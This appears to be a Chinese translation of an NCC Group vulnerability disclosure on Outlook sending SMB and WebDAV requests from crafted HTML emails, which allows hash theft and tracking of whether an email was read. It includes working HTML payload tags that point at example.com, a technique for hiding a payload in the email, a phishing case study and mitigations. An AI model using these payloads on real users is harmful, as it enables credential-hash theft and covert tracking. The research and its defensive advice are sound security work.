簡介
在受害者打開或者僅僅是查看電子郵件后，Microsoft（MS）Outlook可能會被用來向外部發(fā)送SMB握手包。 即使SMB端口被阻止，也會發(fā)送WebDAV請求。 這可以用來通過在外部接收SMB哈希去破解受害者的密碼，或者在受害者查看電子郵件時接收通知。
此問題已于2017年7月部分修補（CVE-2017-8572 [1]）。 根據(jù)微軟安全響應中心（MSRC）的說法，2017年12月發(fā)布的CVE-2017-11927 [2]也修補了一些payloads。 該補丁已于2018年5月更新，以解決本報告中提到的其他問題。
介紹
用戶即使不確定其內(nèi)容通常也會打開新的無害的電子郵件去查看它們包含的內(nèi)容。這樣足以讓攻擊者劫持SMB HASH或至少確定受害者是否查看了該特定電子郵件，來確定MS Outlook郵件客戶端是否正在使用并且用戶已連接到Internet。當閱讀窗格（預覽頁面）可見時（默認），只需單擊電子郵件主題即可充分利用此特性。
此特性是在NCC Group的研究過程中發(fā)現(xiàn)的，并在Outlook 2016和2010中進行了測試，其默認設(shè)置中禁用了外部圖像。這個問題已于2017年3月向MS報告。
我們還想提醒下，這一行為已經(jīng)作為我們的Piranha網(wǎng)絡釣魚平臺的一項功能實施。該平臺是由NCC Group開發(fā)的，旨在幫助企業(yè)識別他們在網(wǎng)絡釣魚方面的人員，流程和技術(shù)故障，以便了解改善緩解網(wǎng)絡釣魚攻擊的風險[3]。
研究和故事
在進行評估時，我收到了Outlook 2010中的一封HTML電子郵件，其中包含一個類似于以下內(nèi)容的圖像標記：
<img src="http://example.com/test/image.jpg" >
我可以看到Outlook在打開該電子郵件后正在搜索某些內(nèi)容，并且完全打開它比平時花費的時間更長。我很快意識到Outlook實際上使用URL“\ example.com test image.jpg”并發(fā)送SMB請求到“example.com”。
盡管即使提供的SMB路徑有效，它也不會加載圖片，但它可以將SMB HASH發(fā)送到任意位置。這種攻擊在Outlook 2016上無效，但它使我開始了一個小型研究項目，嘗通過使用不同的URI方案和特殊payload接受URI的不同HTML標記。
我設(shè)法通過設(shè)計一個使用ASPOSE.Email [4]和Microsoft Office Interop庫的快速ASP.NET應用程序來測試具有不同目標的已知URI方案列表。具有較小變化的cure53 HTTPLeaks項目[5]用來生成電子郵件的HTML模板。本研究中使用的C＃代碼，URI Schemes，公式和HTML模板可以在以下GitHub項目中找到：
https://github.com/nccgroup/OutlookLeakTest
為了減少復雜性，Sysinternals Suite的Wireshark和Process Monitor被用來檢測遠程和本地文件系統(tǒng)調(diào)用。
發(fā)現(xiàn)
Outlook在打開精心制作的HTML電子郵件時發(fā)送了外部SMB / WebDAV請求。 這可能會被濫用來劫持受害者的SMB hash或確定收件人是否查看過郵件。
此問題在Outlook默認設(shè)置阻止加載外部資源（如圖像文件）可以利用。
遠程執(zhí)行
盡管”\”模式被Outlook阻止，但仍發(fā)現(xiàn)許多其他模式和URI方案，這些模式和URI方案強制Outlook將請求發(fā)送到遠程服務器。
下表顯示了已知的矢量：
本地文件系統(tǒng)執(zhí)行
這種方式也可用于識別在本地文件系統(tǒng)上定位文件的URI方案。 這非常有趣，特別是當使用映射網(wǎng)絡共享（具有寫權(quán)限）時，或者在文件系統(tǒng)上可以刪除文件時。 確定了以下URI方案：
一些payload 例子
某些URI方案（遠程/本地）僅在某些HTML代碼中使用時才起作用。 雖然在測試過程中只發(fā)現(xiàn)以下payload有效，但這些payload不能被認為是唯一能夠加載資源的payload。
Image tag:
<img src="http://example.com/anon/test.txt" >
Base tag + image tag:
<base href="http://example.com/IDontExist/">
<img>
Style tag:
</style>
@import 'its:/example.com/foo1/test';
@import url(its:/example.com/foo2/test);
</style>
Body tag (Image):
<body background="its:/example.com/IDontExistNew/foobar">
Input tag (Image):
<input type="image" src="its:/example.com/IDontExistNew/foobar" name="test" value="test">
Link tag (Style):
<link rel="stylesheet" href="its:/example.com/IDontExistNew/foobar" />
VML tag (Image):
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
<v:fill src="its:/example.com/IDontExistNew/foobar" />
</v:background>
所有上述HTML標簽的組合也可用于增加遠程執(zhí)行的機會。
payload也可以使用像這樣的方法隱藏在電子郵件中：
<span class="show" style="overflow:hidden; float:left; display:none; line-height:0px;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
This part is hidden
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
<v:fill src="its:/example.com/IDontExistNew123456/foobar" />
</v:background>
</span>
當用戶以純文本格式查看電子郵件時，攻擊者在發(fā)送電子郵件時可以使用不同的MIME類型來隱藏payload。 因此，只有以HTML格式查看電子郵件的用戶才能成為目標用戶。 這也可能被濫用，以誘使普通用戶查看HTML格式的電子郵件來執(zhí)行攻擊。
Piranha 釣魚平臺
在識別出這個漏洞后，我們就可以在紅隊的參與下在其他地方嘗試。使用我們的Piranha網(wǎng)絡釣魚平臺，我們制作了兩封HTML郵件;第一個是明目張膽的釣魚電子郵件，第二個是基于實際的批量營銷電子郵件。在這兩種情況下，在Piranha中都編輯了HTML源代碼，以包含指向基于Internet的系統(tǒng)運行Responder的“其”URL的CSS @import。
首先，一些有針對性的用戶將明顯的網(wǎng)絡釣魚電子郵件轉(zhuǎn)發(fā)給他們的IT部門，在此過程中揭示了他們自己的IT管理員和他們的IT管理員的hash。第二，隱形的電子郵件被發(fā)送給十個用戶。其中8位在公司網(wǎng)絡外收到電子郵件（正確阻止了445端口的出站流量），導致他們的哈希被捕獲。值得注意的是，這比我們觀察我們的自動化式的Piranha 用戶運行的活動有大約四倍的成功概率，這些用戶將受害者引誘到虛假的登錄頁面;使用合法的批量營銷電子郵件作為轉(zhuǎn)發(fā)人也阻止任何人舉報。
MS 回復
這個問題已于2017年3月8日向MS報告，最初并未滿足其安全服務標準，因為“這需要用戶打開不可信的電子郵件”。 然而，在我們向他們提供了更多關(guān)于在我們的釣魚攻擊評估中利用此問題的證據(jù)（這使我們的攻擊力增強了四倍）后，MS將其視為安全問題。
這個問題最初是在2017年7月下旬部分修補的[1]。 這個補丁沒有停止“mk：@MSITStore”方案。
根據(jù)MSRC的說法，CVE-2017-11927 [2]（由于我們的報告最初沒有公布）已經(jīng)糾正了一些有效載荷。 該修補程序在2018年5月進行了更新，以解決本報告中包含的其他問題。
無需補丁程序的解決方法
A）MS建議不愿意或無法處理網(wǎng)絡邊緣阻塞的情況是使用Windows防火墻執(zhí)行此操作客戶關(guān)注此類攻擊，這已在[6]中記錄。
B）基于MS的建議，解決方法是禁用Outlook中的電子郵件預覽選項，并立即刪除未知電子郵件而不打開它們。我們認為這種策略并不可靠，因為電子郵件用戶的信任可以以多種方式被利用，特別是當電子郵件擁有迷人或熟悉的主題或其發(fā)件人看起來很熟悉時。
C）還建議考慮阻止對端口445和139的外部請求。雖然此解決方案不會阻止Outlook發(fā)送DNS或WebDAV請求（可用于跟蹤），但它確實會打破SMB哈希劫持攻擊。在我們的測試中，我們沒有觀察到SMB散列通過WebDAV請求發(fā)送出去。請注意，此解決方案不會解決在本地文件系統(tǒng)上定位文件的問題。
D）我們建議以純文本形式打開Outlook中的所有電子郵件，以阻止此類攻擊和其他類似攻擊。為了以純文本格式查看所有傳入的電子郵件，請勾選下面的“以純文本形式閱讀”復選框：
Outlook>文件菜單>選項>信任中心>信任中心設(shè)置…>電子郵件安全
盡管用戶通過這種方式閱讀電子郵件不方便且困難，但這是目前最強大的解決方案。這與以純文本查看HTML網(wǎng)頁類似，可能會破壞使用瀏覽器的全部目的。當需要在HTML中查看可信電子郵件時，可能會將此選項更改為默認值（Outlook 2016提供了一種用HTML查看電子郵件的簡單更改）。
除了上述以及類似于A點之外，用戶應該始終選擇強密碼，并且在合適且有益的情況下，應該使用合適的Restrict NTLM策略來保護域用戶。請注意，通過Restrict NTLM可用的限制可能會與通過使用網(wǎng)絡隔離和基于主機的防火墻施加的訪問控制重疊。
在某些環(huán)境中，后一種方法可能比Restrict NTLM 策略集更靈活或直接管理。在這兩種情況下，了解主機之間的合法流量是定義和審計有效控制的基礎(chǔ)。在推導任何策略和部署新策略之前，強烈建議使用Restrict NTLM 審核選項和設(shè)置。這將最大限度地減少意外阻止合法連接的可能性。
在RTF中使用OLE的另一個類似問題
雖然我們正在等待最后一個補丁，但在[7]（CVE-2018-0950）上發(fā)布了一個類似的問題，使用SMB竊取密碼哈希。 雖然它使用OLE載體，但它的影響是相同的。
參考
[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8572
[2] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11927
[3] https://www.nccgroup.trust/uk/our-services/security-consulting/managed-and-hosted-security-services/vulnerability-management-and-detection/phishing-simulation-piranha/
[4] https://downloads.aspose.com/email/net
[5] https://github.com/cure53/HTTPLeaks
[6] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[7] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html